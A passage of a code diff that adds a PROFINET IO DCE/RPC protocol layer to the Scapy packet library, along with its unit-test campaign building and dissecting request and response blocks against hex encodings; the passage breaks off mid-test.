ShortField("DataHoldFactor", 10), + # IOCRTagHeader + BitEnumField("IOCRTagHeader_IOUserPriority", 6, 3, + {6: "IOCRPriority"}), + BitField("IOCRTagHeader_reserved", 0, 1), + BitField("IOCRTagHeader_IOCRVLANID", 0, 12), + MACField("IOCRMulticastMACAdd", None), + FieldLenField("NumberOfAPIs", None, fmt="H", count_of="APIs"), + PacketListField("APIs", [], IOCRAPI, + count_from=lambda p: p.NumberOfAPIs) + ] + # default block_type value + block_type = 0x0102 + + def get_response(self): + """Generate the response block of this request. + Careful: it only sets the fields which can be set from the request + """ + res = IOCRBlockRes() + for field in ["IOCRType", "IOCRReference", "FrameID"]: + res.setfieldval(field, self.getfieldval(field)) + return res + + +class IOCRBlockRes(Block): + """IO Connection Relationship block response""" + fields_desc = [ + BlockHeader, + XShortEnumField("IOCRType", 1, IOCR_TYPE), + XShortField("IOCRReference", 1), + XShortField("FrameID", 0x8000), + ] + # default block_type value + block_type = 0x8102 + + +# ExpectedSubmoduleBlockReq +class ExpectedSubmoduleDataDescription(Packet): + """Description of the data of a submodule""" + name = "Data Description" + fields_desc = [ + XShortEnumField("DataDescription", 0, {1: "Input", 2: "Output"}), + ShortField("SubmoduleDataLength", 0), + ByteField("LengthIOCS", 0), + ByteField("LengthIOPS", 0), + ] + + def extract_padding(self, s): + return None, s # No extra payload + + +class ExpectedSubmodule(Packet): + """Description of a submodule in an API of an expected submodule""" + name = "Submodule" + fields_desc = [ + XShortField("SubslotNumber", 0), + XIntField("SubmoduleIdentNumber", 0), + # Submodule Properties + XByteField("SubmoduleProperties_reserved_2", 0), + BitField("SubmoduleProperties_reserved_1", 0, 2), + BitField("SubmoduleProperties_DiscardIOXS", 0, 1), + BitField("SubmoduleProperties_ReduceOutputSubmoduleDataLength", 0, 1), + BitField("SubmoduleProperties_ReduceInputSubmoduleDataLength", 0, 1), + BitField("SubmoduleProperties_SharedInput", 0, 1), + BitEnumField("SubmoduleProperties_Type", 0, 2, + ["NO_IO", "INPUT", "OUTPUT", "INPUT_OUTPUT"]), + PacketListField( + "DataDescription", [], ExpectedSubmoduleDataDescription, + count_from=lambda p: 2 if p.SubmoduleProperties_Type == 3 else 1 + ), + ] + + def extract_padding(self, s): + return None, s # No extra payload + + +class ExpectedSubmoduleAPI(Packet): + """Description of an API in the expected submodules blocks""" + name = "API" + fields_desc = [ + XIntField("API", 0), + XShortField("SlotNumber", 0), + XIntField("ModuleIdentNumber", 0), + XShortField("ModuleProperties", 0), + FieldLenField("NumberOfSubmodules", None, fmt="H", + count_of="Submodules"), + PacketListField("Submodules", [], ExpectedSubmodule, + count_from=lambda p: p.NumberOfSubmodules), + ] + + def extract_padding(self, s): + return None, s # No extra payload + + +class ExpectedSubmoduleBlockReq(Block): + """Expected submodule block request""" + fields_desc = [ + BlockHeader, + FieldLenField("NumberOfAPIs", None, fmt="H", count_of="APIs"), + PacketListField("APIs", [], ExpectedSubmoduleAPI, + count_from=lambda p: p.NumberOfAPIs) + ] + # default block_type value + block_type = 0x0104 + + def get_response(self): + """Generate the response block of this request. + Careful: it only sets the fields which can be set from the request + """ + return None # no response associated (should be modulediffblock) + + +# PROFINET IO DCE/RPC PDU +PNIO_RPC_BLOCK_ASSOCIATION = { + # requests + "0101": ARBlockReq, + "0102": IOCRBlockReq, + "0104": ExpectedSubmoduleBlockReq, + "0110": IODControlReq, + "0111": IODControlReq, + "0112": IODControlReq, + "0113": IODControlReq, + "0114": IODControlReq, + "0116": IODControlReq, + "0117": IODControlReq, + "0118": IODControlReq, + + # responses + "8101": ARBlockRes, + "8102": IOCRBlockRes, + "8110": IODControlRes, + "8111": IODControlRes, + "8112": IODControlRes, + "8113": IODControlRes, + "8114": IODControlRes, + "8116": IODControlRes, + "8117": IODControlRes, + "8118": IODControlRes, +} + + +def _guess_block_class(_pkt, *args, **kargs): + cls = Block # Default block type + + # Special cases + if _pkt[:2] == b'\x00\x08': # IODWriteReq + if _pkt[34:36] == b'\xe0@': # IODWriteMultipleReq + cls = IODWriteMultipleReq + else: + cls = IODWriteReq + + elif _pkt[:2] == b'\x80\x08': # IODWriteRes + if _pkt[34:36] == b'\xe0@': # IODWriteMultipleRes + cls = IODWriteMultipleRes + else: + cls = IODWriteRes + + # Common cases + else: + btype = bytes_hex(_pkt[:2]).decode("utf8") + if btype in PNIO_RPC_BLOCK_ASSOCIATION: + cls = PNIO_RPC_BLOCK_ASSOCIATION[btype] + + return cls(_pkt, *args, **kargs) + + +def dce_rpc_endianess(pkt): + """determine the symbol for the endianness of a the DCE/RPC""" + try: + endianness = pkt.underlayer.endianness + except AttributeError: + # handle the case where a PNIO class is + # built without its DCE-RPC under-layer + # i.e there is no endianness indication + return "!" + if endianness == 0: # big endian + return ">" + elif endianness == 1: # little endian + return "<" + else: + return "!" + + +class NDRData(Packet): + """Base NDRData to centralize some fields. It can't be instantiated""" + fields_desc = [ + EndiannessField( + FieldLenField("args_length", None, fmt="I", length_of="blocks"), + endianess_from=dce_rpc_endianess), + EndiannessField( + FieldLenField("max_count", None, fmt="I", length_of="blocks"), + endianess_from=dce_rpc_endianess), + EndiannessField( + IntField("offset", 0), + endianess_from=dce_rpc_endianess), + EndiannessField( + FieldLenField("actual_count", None, fmt="I", length_of="blocks"), + endianess_from=dce_rpc_endianess), + PacketListField("blocks", [], _guess_block_class, + length_from=lambda p: p.args_length) + ] + + def __new__(cls, name, bases, dct): + raise NotImplementedError() + + +class PNIOServiceReqPDU(Packet): + """PNIO PDU for RPC Request""" + fields_desc = [ + EndiannessField( + FieldLenField("args_max", None, fmt="I", length_of="blocks"), + endianess_from=dce_rpc_endianess), + NDRData, + ] + overload_fields = { + DceRpc: { + # random object_uuid in the appropriate range + "object_uuid": RandUUID("dea00000-6c97-11d1-8271-******"), + # interface uuid to send to a device + "interface_uuid": RPC_INTERFACE_UUID["UUID_IO_DeviceInterface"], + # Request DCE/RPC type + "type": 0, + }, + } + + @classmethod + def can_handle(cls, pkt, rpc): + """heuristic guess_payload_class""" + # type = 0 => request + if rpc.getfieldval("type") == 0 and \ + str(rpc.object_uuid).startswith("dea00000-6c97-11d1-8271-"): + return True + return False + + +DceRpcPayload.register_possible_payload(PNIOServiceReqPDU) + + +class PNIOServiceResPDU(Packet): + """PNIO PDU for RPC Response""" + fields_desc = [ + EndiannessField(IntEnumField("status", 0, ["OK"]), + endianess_from=dce_rpc_endianess), + NDRData, + ] + overload_fields = { + DceRpc: { + # random object_uuid in the appropriate range + "object_uuid": RandUUID("dea00000-6c97-11d1-8271-******"), + # interface uuid to send to a host + "interface_uuid": RPC_INTERFACE_UUID[ + "UUID_IO_ControllerInterface"], + # Request DCE/RPC type + "type": 2, + }, + } + + @classmethod + def can_handle(cls, pkt, rpc): + """heuristic guess_payload_class""" + # type = 2 => response + if rpc.getfieldval("type") == 2 and \ + str(rpc.object_uuid).startswith("dea00000-6c97-11d1-8271-"): + return True + return False + + +DceRpcPayload.register_possible_payload(PNIOServiceResPDU) diff --git a/libs/scapy/contrib/pnio_rpc.uts b/libs/scapy/contrib/pnio_rpc.uts new file mode 100755 index 0000000..38884be --- /dev/null +++ b/libs/scapy/contrib/pnio_rpc.uts @@ -0,0 +1,670 @@ +% PNIO RPC layer test campaign + ++ Syntax check += Import the PNIO RPC layer +from scapy.contrib.dce_rpc import * +from scapy.contrib.pnio_rpc import * +from scapy.modules.six import itervalues + += Check that we have UUIDs + +for v in itervalues(RPC_INTERFACE_UUID): + assert(isinstance(v, UUID)) + ++ Check Block + += Block default values +bytes(Block()) == bytearray.fromhex('000000020100') + += Block basic example +bytes(Block(load=b'\x01\x02\x03')) == bytearray.fromhex('000000050100010203') + += Block has no payload (only padding) +p = Block(bytearray.fromhex('000000050100010203040506')) +p == Block(block_length=5, load=b'\x01\x02\x03') / conf.padding_layer(b'\x04\x05\x06') + + +#################################################################### +#################################################################### + ++ Check IODControlReq + += IODControlReq default values +bytes(IODControlReq()) == bytearray.fromhex('0000001c01000000000000000000000000000000000000000000000000000000') + += IODControlReq basic example (IODControlReq PrmEnd control) +bytes(IODControlReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=2, ControlCommand_PrmEnd=1)) == bytearray.fromhex('0110001c010000000123456789abcdef0123456789abcdef0002000000010000') + += IODControlReq dissection +p = IODControlReq(bytearray.fromhex('0118001c010000000123456789abcdef0123456789abcdef0005000000400000ef')) +p == IODControlReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, ControlCommand_PrmBegin=1, block_type='IODBlockReq_connect_begin', block_length=28, padding=b'\0\0') / conf.padding_layer(b'\xef') + += IODControlReq response +p = p.get_response() +p == IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, block_type='IODBlockRes_connect_begin') + +#################################################################### + ++ Check IODControlRes + += IODControlRes default values +bytes(IODControlRes()) == bytearray.fromhex('8110001c01000000000000000000000000000000000000000000000000080000') + += IODControlRes basic example (IODControlRes PrmEnd control) +bytes(IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=2, block_type='IODBlockRes_connect_end')) == bytearray.fromhex('8110001c010000000123456789abcdef0123456789abcdef0002000000080000') + += IODControlRes dissection +p = IODControlRes(bytearray.fromhex('8118001c010000000123456789abcdef0123456789abcdef0005000000080000ef')) +p == IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, block_type='IODBlockRes_connect_begin', block_length=28, padding=b'\0\0') / conf.padding_layer(b'\xef') + + +#################################################################### +#################################################################### + ++ Check IODWriteReq + += IODWriteReq default values +bytes(IODWriteReq()) == bytearray.fromhex('0008003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') + += IODWriteReq basic example +bytes(IODWriteReq( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321 + ) / b'\xab\xcd' + ) == bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') + += IODWriteReq dissection +p = IODWriteReq(bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcdef')) +p == IODWriteReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321, block_length=60, recordDataLength=2, padding='\0\0', RWPadding=b'\0'*24 + ) / b'\xab\xcd' / conf.padding_layer(b'\xef') + += IODWriteReq response +p = p.get_response() +p == IODWriteRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321) + +#################################################################### + ++ Check IODWriteRes + += IODWriteRes default values +bytes(IODWriteRes()) == bytearray.fromhex('8008003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') + += IODWriteRes basic example +bytes(IODWriteRes( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321 + )) == bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') + += IODWriteRes dissection +p = IODWriteRes(bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000ef')) +p == IODWriteRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321, recordDataLength=0, block_length=60, padding=b'\0\0', RWPadding=b'\0'*16 + ) / conf.padding_layer(b'\xef') + + +#################################################################### +#################################################################### + ++ Check IODWriteMultipleReq + +######### += IODWriteMultipleReq default values +bytes(IODWriteMultipleReq()) == bytearray.fromhex('0008003c0100000000000000000000000000000000000000ffffffffffffffff0000e04000000000000000000000000000000000000000000000000000000000') + +######### += IODWriteMultipleReq basic example +bytes(IODWriteMultipleReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[ + IODWriteReq( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321 + ) / b'\xab\xcd', + IODWriteReq( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, + index=0x1234 + ) / b'\x01\x02', + ]) + ) == bytearray.fromhex('0008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000086000000000000000000000000000000000000000000000000') + \ + bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') + b'\0\0' + \ + bytearray.fromhex('0008003c010000020123456789abcdef0123456789abcdef000000020003000400001234000000020000000000000000000000000000000000000000000000000102') + +######### += IODWriteMultipleReq dissection +p = IODWriteMultipleReq( + bytearray.fromhex('0008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000086000000000000000000000000000000000000000000000000') + \ + bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') + b'\0\0' + \ + bytearray.fromhex('0008003c010000020123456789abcdef0123456789abcdef000000020003000400001234000000020000000000000000000000000000000000000000000000000102') + b'\xef' + ) +p == IODWriteMultipleReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', recordDataLength=0x86, + padding=b'\0'*2, RWPadding=b'\0'*24, block_length=60, blocks=[ + IODWriteReq( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321, recordDataLength=2, padding=b'\0'*2, RWPadding=b'\0'*24, block_length=60 + ) / b'\xab\xcd', + IODWriteReq( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, + index=0x1234, recordDataLength=2, padding=b'\0'*2, RWPadding=b'\0'*24, block_length=60 + ) / b'\x01\x02', + ]) / conf.padding_layer(b'\xef') + +######### += IODWriteMultipleReq response +p = p.get_response() +p == IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[ + IODWriteRes( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321 + ), + IODWriteRes( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, + index=0x1234 + ), + ]) + + +#################################################################### + ++ Check IODWriteMultipleRes + += IODWriteMultipleRes default values +bytes(IODWriteMultipleRes()) == bytearray.fromhex('8008003c0100000000000000000000000000000000000000ffffffffffffffff0000e04000000000000000000000000000000000000000000000000000000000') + += IODWriteMultipleRes basic example +bytes(IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[ + IODWriteRes( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321 + ), + IODWriteRes( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, + index=0x1234 + ), + ]) + ) == bytearray.fromhex('8008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000080000000000000000000000000000000000000000000000000') + \ + bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') + \ + bytearray.fromhex('8008003c010000020123456789abcdef0123456789abcdef00000002000300040000123400000000000000000000000000000000000000000000000000000000') + += IODWriteMultipleRes dissection +p = IODWriteMultipleRes( + bytearray.fromhex('8008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000080000000000000000000000000000000000000000000000000') + \ + bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') + \ + bytearray.fromhex('8008003c010000020123456789abcdef0123456789abcdef00000002000300040000123400000000000000000000000000000000000000000000000000000000') + b'\xef' + ) +p == IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', recordDataLength=0x80, + padding=b'\0'*2, RWPadding=b'\0'*16, block_length=60, blocks=[ + IODWriteRes( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, + index=0x4321, recordDataLength=0, padding=b'\0'*2, RWPadding=b'\0'*16, block_length=60 + ), + IODWriteRes( + ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, + index=0x1234, recordDataLength=0, padding=b'\0'*2, RWPadding=b'\0'*16, block_length=60 + ), + ]) / conf.padding_layer(b'\xef') + + +#################################################################### +#################################################################### + ++ Check ARBlockReq + += ARBlockReq default values +bytes(ARBlockReq()) == bytearray.fromhex('0101003601000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000103e888920000') + += ARBlockReq basic example +bytes(ARBlockReq( + ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1, + CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator', + CMInitiatorStationName='plc1') + ) == bytearray.fromhex('0101003a010000010123456789abcdef0123456789abcdef0001000000000000dea000006c9711d182710102030405060000001103e888920004') + b'plc1' + += ARBlockReq dissection +p = ARBlockReq(bytearray.fromhex('0101003a010000010123456789abcdef0123456789abcdef0001010203040506dea000006c9711d182710102030405060000001103e888920004') + b'plc1' + b'\xef') +p == ARBlockReq( + ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1, + CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator', + CMInitiatorMacAdd='01:02:03:04:05:06', StationNameLength=4, CMInitiatorStationName='plc1', block_length=58 + ) / conf.padding_layer(b'\xef') + += ARBlockReq response +p = p.get_response() +p == ARBlockRes(ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1) + +#################################################################### + ++ Check ARBlockRes + += ARBlockRes default values +bytes(ARBlockRes()) == bytearray.fromhex('8101001e010000010000000000000000000000000000000000000000000000008892') + += ARBlockRes basic example +bytes( + ARBlockRes(ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1) + ) == bytearray.fromhex('8101001e010000010123456789abcdef0123456789abcdef00010000000000008892') + += ARBlockRes dissection +p = ARBlockRes(bytearray.fromhex('8101001e010000010123456789abcdef0123456789abcdef00010102030405068892ef')) +p == ARBlockRes( + ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1, + CMResponderMacAdd='01:02:03:04:05:06', block_length=30) / conf.padding_layer(b'\xef') + + +#################################################################### +#################################################################### + ++ Check IOCRBlockReq + += IOCRBlockReq default values +bytes(IOCRBlockReq()) == bytearray.fromhex('0102002a010000010001889200000000002880000020002000010000ffffffff000a000ac0000000000000000000') + += IOCRAPI default values +bytes(IOCRAPI()) == bytearray.fromhex('0000000000000000') + += IOCRAPIObject default values +bytes(IOCRAPIObject()) == bytearray.fromhex('000000000000') + += IOCRBlockReq basic example +p = IOCRBlockReq( + IOCRType='OutputCR', IOCRReference=1, SendClockFactor=2, + ReductionRatio=32, DataLength=47, FrameID=0x8014, + APIs=[ + IOCRAPI( + API=4, + IODataObjects=[ + IOCRAPIObject(SlotNumber=2, SubslotNumber=1, FrameOffset=0), + IOCRAPIObject(SlotNumber=1, SubslotNumber=1, FrameOffset=9), + ] + ), + IOCRAPI( + API=0, + IODataObjects=[ + IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=15), + ], + IOCSs=[ + IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=4), + ], + ), + ] + ) +bytes(p) == \ + bytearray.fromhex('01020052010000020001889200000000002f80140002002000010000ffffffff000a000ac0000000000000000002' + \ + '0000000400020002000100000001000100090000' + \ + '00000000000100030001000f0001000300010004') + += IOCRBlockReq dissection +p = IOCRBlockReq( + bytearray.fromhex('01020052010000020001889200000000002f80140002002000010000ffffffff000a000ac0000102030405060002' + \ + '0000000400020002000100000001000100090000' + \ + '00000000000100030001000f0001000300010004') + b'\xef') +p == IOCRBlockReq( + IOCRType='OutputCR', IOCRReference=1, SendClockFactor=2, IOCRMulticastMACAdd='01:02:03:04:05:06', + ReductionRatio=32, DataLength=47, FrameID=0x8014, block_length=82, + NumberOfAPIs=2, APIs=[ + IOCRAPI( + API=4, + NumberOfIODataObjects=2, IODataObjects=[ + IOCRAPIObject(SlotNumber=2, SubslotNumber=1, FrameOffset=0), + IOCRAPIObject(SlotNumber=1, SubslotNumber=1, FrameOffset=9), + ], + NumberOfIOCS=0 + ), + IOCRAPI( + API=0, + NumberOfIODataObjects=1, IODataObjects=[ + IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=15), + ], + NumberOfIOCS=1, IOCSs=[ + IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=4), + ], + ), + ] + ) / conf.padding_layer(b'\xef') + += IOCRBlockReq response +p = p.get_response() +p == IOCRBlockRes(IOCRType='OutputCR', IOCRReference=1, FrameID=0x8014) + +#################################################################### + ++ Check IOCRBlockRes + += IOCRBlockRes default values +bytes(IOCRBlockRes()) == bytearray.fromhex('810200080100000100018000') + += IOCRBlockRes basic example +bytes( + IOCRBlockRes(IOCRType='InputCR', IOCRReference=2, FrameID=0x8014) + ) == bytearray.fromhex('810200080100000100028014') + += IOCRBlockRes dissection +p = IOCRBlockRes(bytearray.fromhex('810200080100000100028014ef')) +p == IOCRBlockRes(IOCRType='InputCR', IOCRReference=2, FrameID=0x8014, + block_length=8) / conf.padding_layer(b'\xef') + + +#################################################################### +#################################################################### + ++ Check ExpectedSubmoduleBlockReq + += ExpectedSubmoduleBlockReq default values +bytes(ExpectedSubmoduleBlockReq()) == bytearray.fromhex('0104000401000000') + += ExpectedSubmoduleAPI default values +bytes(ExpectedSubmoduleAPI()) == bytearray.fromhex('0000000000000000000000000000') + += ExpectedSubmodule default values +bytes(ExpectedSubmodule()) == bytearray.fromhex('0000000000000000') + += ExpectedSubmoduleDataDescription default values +bytes(ExpectedSubmoduleDataDescription()) == bytearray.fromhex('000000000000') + += ExpectedSubmoduleBlockReq basic example +p = ExpectedSubmoduleBlockReq( + APIs=[ + ExpectedSubmoduleAPI( + API=4, SlotNumber=2, ModuleIdentNumber=0x08c4, + Submodules=[ + ExpectedSubmodule( + SubslotNumber=1, SubmoduleIdentNumber=0x0123, + SubmoduleProperties_Type='INPUT_OUTPUT', + DataDescription=[ + ExpectedSubmoduleDataDescription( + DataDescription='Output', + SubmoduleDataLength=5, + LengthIOPS=2, LengthIOCS=0 + ), + ExpectedSubmoduleDataDescription( + DataDescription='Input', + SubmoduleDataLength=3, + LengthIOPS=1, LengthIOCS=2 + ) + ] + ), + ] + ), + ] + ) +bytes(p) == \ + bytearray.fromhex('0104002601000001') + \ + bytearray.fromhex('000000040002000008c400000001') + \ + bytearray.fromhex('0001000001230003') + \ + bytearray.fromhex('000200050002') + \ + bytearray.fromhex('000100030201') + += ExpectedSubmoduleBlockReq dissection +p = ExpectedSubmoduleBlockReq( + bytearray.fromhex('0104002601000001') + \ + bytearray.fromhex('000000040002000008c400000001') + \ + bytearray.fromhex('0001000001230003') + \ + bytearray.fromhex('000200050002') + \ + bytearray.fromhex('000100030201') + b'\xef' + ) +p == ExpectedSubmoduleBlockReq(block_length=38, + NumberOfAPIs=1, APIs=[ + ExpectedSubmoduleAPI( + API=4, SlotNumber=2, ModuleIdentNumber=0x08c4, + NumberOfSubmodules=1 ,Submodules=[ + ExpectedSubmodule( + SubslotNumber=1, SubmoduleIdentNumber=0x0123, + SubmoduleProperties_Type='INPUT_OUTPUT', + DataDescription=[ + ExpectedSubmoduleDataDescription( + DataDescription='Output', + SubmoduleDataLength=5, + LengthIOPS=2, LengthIOCS=0 + ), + ExpectedSubmoduleDataDescription( + DataDescription='Input', + SubmoduleDataLength=3, + LengthIOPS=1, LengthIOCS=2 + ) + ] + ), + ] + ), + ] + ) / conf.padding_layer(b'\xef') + +#################################################################### +#################################################################### + ++ Check PNIOServiceReqPDU + += PNIOServiceReqPDU basic example +* PNIOServiceReqPDU must always be placed above a DCE/RPC layer as it requires the endianness field +p = DceRpc() / PNIOServiceReqPDU(blocks=[ + Block(load=b'\x01\x02') + ]) +s = bytes(p) +# Remove the random UUID part before comparison +s[:18] + s[24:] == \ + bytearray.fromhex('0400000000000000dea000006c9711d18271' + 'dea000016c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ + '0000000800000008000000080000000000000008' + + '0000000401000102') + += PNIOServiceReqPDU dissection +p = DceRpc( + bytes(bytearray.fromhex('0400000000000000dea000006c9711d18271010203040506dea000016c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ + '0000000f000000080000000f0000000000000008' + \ + '0000000401000102ef') + )) +bytes(p.payload) == bytes(PNIOServiceReqPDU(args_length=8, args_max=15, max_count=15, actual_count=8, + blocks=[ + Block(block_length=4, load=b'\x01\x02') + ] + ) / b'\xef') + + +#################################################################### +#################################################################### + ++ Check PNIOServiceResPDU + += PNIOServiceResPDU basic example +* PNIOServiceResPDU must always be placed above a DCE/RPC layer as it requires the endianness field +p = DceRpc() / PNIOServiceResPDU(blocks=[ + Block(load=b'\x01\x02') + ]) +s = bytes(p) +# Remove the random UUID part before comparison +s[:18] + s[24:] == \ + bytearray.fromhex('0402000000000000dea000006c9711d18271' + 'dea000026c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ + '0000000000000008000000080000000000000008' + \ + '0000000401000102') + += PNIOServiceResPDU dissection +p = DceRpc( + bytes(bytearray.fromhex('0402000000000000dea000006c9711d18271010203040506dea000026c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ + '00001234000000080000000f0000000000000008' + \ + '0000000401000102ef') + )) +bytes(p.payload) == bytes(PNIOServiceResPDU(status=0x1234, args_length=8, max_count=15, actual_count=8, + blocks=[ + Block(block_length=4, load=b'\x01\x02') + ] + ) / b'\xef') + +#################################################################### +## Some usual examples ## +#################################################################### + ++ Check some basic examples + +#### Connect Request += A PNIO RPC Connect Request +p = DceRpc( + endianness='little', opnum=0, sequence_num=0, + object_uuid='dea00000-6c97-11d1-8271-010203040506', + activity='01234567-89ab-cdef-0123-456789abcdef' + ) / PNIOServiceReqPDU( + blocks=[ + # AR block + ARBlockReq( + ARType='IOCARSingle', ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, + CMInitiatorMacAdd='01:02:03:04:05:06', CMInitiatorStationName='plc-1', + CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator' + ), + # IO CR input block + IOCRBlockReq( + IOCRType='InputCR', IOCRReference=1, SendClockFactor=2, + ReductionRatio=32, DataLength=40, + APIs=[ + IOCRAPI( + API=0, + IODataObjects=[ + IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=15), + ], + IOCSs=[ + IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=4), + ], + ), + ] + ), + # IO CR output block + IOCRBlockReq( + IOCRType='OutputCR', IOCRReference=2, SendClockFactor=8, ReductionRatio=32, + DataLength=52, FrameID=0xffff, + APIs=[ + IOCRAPI( + API=0, + IODataObjects=[ + IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=0), + IOCRAPIObject(SlotNumber=1, SubslotNumber=2,FrameOffset=9), + ], + ), + ] + ), + # List of expected submodules + ExpectedSubmoduleBlockReq( + APIs=[ + ExpectedSubmoduleAPI( + API=0, SlotNumber=3, ModuleIdentNumber=0x08c4, + Submodules=[ + ExpectedSubmodule( + SubslotNumber=1, SubmoduleIdentNumber=0x0124, + SubmoduleProperties_Type='INPUT_OUTPUT', + DataDescription=[ + ExpectedSubmoduleDataDescription( + DataDescription='Output', + SubmoduleDataLength=3, + LengthIOPS=1, LengthIOCS=1 + ), + ExpectedSubmoduleDataDescription( + DataDescription='Input', + SubmoduleDataLength=5, + LengthIOPS=2, LengthIOCS=0 + ) + ] + ), + ] + ), + ] + ), + ExpectedSubmoduleBlockReq( + APIs=[ + ExpectedSubmoduleAPI( + API=0, SlotNumber=1, ModuleIdentNumber=0x08c3, + Submodules=[ + ExpectedSubmodule( + SubslotNumber=2, SubmoduleIdentNumber=0x0424, + SubmoduleProperties_Type='OUTPUT', + DataDescription=[ + ExpectedSubmoduleDataDescription( + DataDescription='Output', + SubmoduleDataLength=5, + LengthIOPS=1, LengthIOCS=0 + ) + ] + ), + ] + ), + ] + ), + ] + ) +bytes(p) == bytearray.fromhex( + '04000000100000000000a0de976cd11182710102030405060100a0de976cd111827100a02442df7d67452301ab89efcd0123456789abcdef0000000001000000000000000000ffffffff250100000000' + \ + '1101000011010000110100000000000011010000' + \ + '0101003b01000001fedcba9876543210fedcba98765432100000010203040506dea000006c9711d182710102030405060000001103e888920005') + b'plc-1' + \ + bytearray.fromhex('0102003e010000010001889200000000002880000002002000010000ffffffff000a000ac0000000000000000001' + \ + '00000000000100030001000f0001000300010004' + \ + '0102003e0100000200028892000000000034ffff0008002000010000ffffffff000a000ac0000000000000000001' + \ + '0000000000020003000100000001000200090000' + \ + '0104002601000001000000000003000008c400000001' + \ + '0001000001240003' + \ + '000200030101' + \ + '000100050002' + \ + '0104002001000001000000000001000008c300000001' + \ + '0002000004240002' + \ + '000200050001') + + +#### Write Request += A 